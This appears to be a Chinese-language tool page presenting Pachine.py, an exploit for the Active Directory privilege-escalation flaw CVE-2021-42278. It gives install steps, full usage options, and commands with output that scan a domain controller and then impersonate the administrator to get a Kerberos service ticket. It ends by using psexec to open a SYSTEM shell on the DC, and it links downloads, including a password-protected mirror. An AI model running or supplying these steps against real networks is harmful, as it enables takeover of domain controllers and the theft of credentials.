目录导航
漏洞描述
Active Directory 域服务特权提升漏洞 此 CVE ID 与 CVE-2021-42282、CVE-2021-42287、CVE-2021-42291 不同。
cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-42278
工具安装方法
pip3 install impacket
使用方法
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
用法: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
[-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
[domain/]username[:password]
Pachine - CVE-2021-42278 Scanner & Exploit
位置参数:
[domain/]username[:password]
用于验证到DC的帐户。
可选参数:
-h, --help 显示此帮助信息并退出
-scan 扫描DC
-spn SPN 将为服务票证生成的目标服务的SPN(服务/服务器)
-impersonate IMPERSONATE
为了查询st而模拟(通过S4U2Self)的目标用户名。记住,只有在允许将脚本中提供的标识委托给指定的SPN时,这才会起作用
-domain-netbios NETBIOSNAME
域NetBIOS名称。当数据中心有多个域时需要配置。
-computer-name NEW-COMPUTER-NAME$
新计算机的名称。如果省略,将使用一个随机的DESKTOP-[a - z0 -9]{8}。
-computer-pass password
设置计算机的密码。如果省略,将使用一个随机的[a- za -z0-9]{32}。
-debug Turn DEBUG output ON
-method {SAMR,LDAPS} 添加计算机的方法。SAMR作用于SMB。LDAPS有一些证书需求,并且并不总是可用的。
-port {139,445,636} 要连接的目的端口。SAMR默认为445,LDAPS默认为636.
LDAP:
-baseDN DC=test,DC=local
设置LDAP的baseDN。如果省略,将使用account参数中指定的域部分(FQDN)。
-computer-group CN=Computers,DC=test,DC=local
将帐户添加到的组。如果省略,CN=计算机,
authentication:
-hashes LMHASH:NTHASH
NTLM哈希,格式为LMHASH:NTHASH
-no-pass 不要问密码(对-k有用)
-k 使用Kerberos身份验证。基于帐户参数从ccache文件(KRB5CCNAME)获取凭证。如果找不到有效的凭据,它将使用命令行中指定的凭据
-aesKey hex key 用于Kerberos身份验证的AES密钥(128位或256位)
-dc-host hostname 到目标的域控制器的FQDN。
-dc-ip ip 要使用的域控制器的IP。如果你不能翻译FQDN,这很有用。在帐户中指定的参数将被使用
使用示例

扫描例子
扫描
要扫描域控制器,请使用该-scan
选项。使用-dc-host
选项提供DC 的主机名。如果您无法解析主机名,您还可以提供 DC 的 IP -dc-ip
。至少-dc-host
必须提供。
$ python3 pachine.py -dc-host dc.predator.local -scan 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Domain controller dc.predator.local is most likely vulnerable
Exploit下载地址
①GitHub
https://github.com/ly4k/Pachine.py
②云中转网盘
yzzpan.com/#sharefile=S3UpuO7g_22998
解压密码:www.ddosi.org
Exploit使用示例
$ python3 pachine.py -dc-host dc.predator.local -spn cifs/dc.predator.local -impersonate administrator 'predator.local/john:Passw0rd!'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Added machine account dc with password qwx1TwIGRNcwsBptfDfyw9wubnVBSVij.
[*] Got TGT for [email protected]
[*] Changed machine account name from dc to DESKTOP-XS5FCF1Y$
[*] Requesting S4U2self
[*] Got TGS for [email protected] for [email protected]
[*] Changing sname from [email protected] to cifs/[email protected]
[*] Changed machine account name from DESKTOP-XS5FCF1Y$ to dc
[*] Saving ticket in [email protected]
使用 TGS示例
$ # Set and verify the CCACHE
$ export KRB5CCNAME=$PWD/[email protected]
$ klist
Ticket cache: FILE:/opt/Pachine/[email protected]
Default principal: [email protected]
Valid starting Expires Service principal
12/13/2021 23:45:19 12/14/2021 09:45:19 cifs/[email protected]
renew until 12/14/2021 23:45:19
$ # Use Impacket's Psexec. This will work for 'cifs'
$ impacket-psexec -k -no-pass 'predator.local/[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on dc.predator.local.....
[*] Found writable share ADMIN$
[*] Uploading file GPZNUSse.exe
[*] Opening SVCManager on dc.predator.local.....
[*] Creating service FBle on dc.predator.local.....
[*] Starting service FBle.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.288]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
细节
Pachine (PAC + Machine) 是CVE-2021-42278的 Python 漏洞利用实现。我强烈建议阅读 Charlie Clark ( @exploitph ) 的精彩博文,了解 CVE-2021-42278 的技术细节。
云盘坏了
挂代理下载,或者使用vpn,要么换成手机流量试试